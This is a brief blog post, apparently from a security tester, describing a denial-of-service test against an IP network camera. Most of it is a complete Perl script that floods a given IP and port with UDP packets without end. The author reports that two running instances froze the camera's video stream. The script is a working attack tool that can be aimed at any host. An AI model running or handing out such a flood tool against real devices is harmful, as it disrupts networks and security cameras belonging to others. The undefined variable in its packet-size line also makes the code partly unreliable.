So on a test I wanted to test the possibility of performing a DoS against an IP based network camera to see of the possibility of disrupting it’s video stream. Well the idea was to hammer the device with UDP packets.
A quick look around and I found this code here. I decided to take a copy of the code as the base for a quick perl script.
A quick munge and this is what I ended with:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #!/usr/bin/perl use Socket; $ARGC=@ARGV; if ($ARGC !=2) { printf "doscam.pl by phillips321.co.uk\n"; printf "$0 <ip> <port>\n"; exit(1); } my ($ip,$port,$size); $ip=$ARGV[0]; $port=$ARGV[1]; socket(crazy, PF_INET, SOCK_DGRAM, 17); $iaddr = inet_aton("$ip"); printf "Flooding UDP port " . $port . " on " . $ip . "\n"; printf "end with Ctrl-C\n"; for (;;) { $size=$rand x $rand x $rand; send(crazy, 0, $size, sockaddr_in($port, $iaddr)); } |
Running one thread of this managed to slow the rate at which the stream was been sent, a second thread caused the video stream to lockup entirely. Result!
Leave a Reply
You must be logged in to post a comment.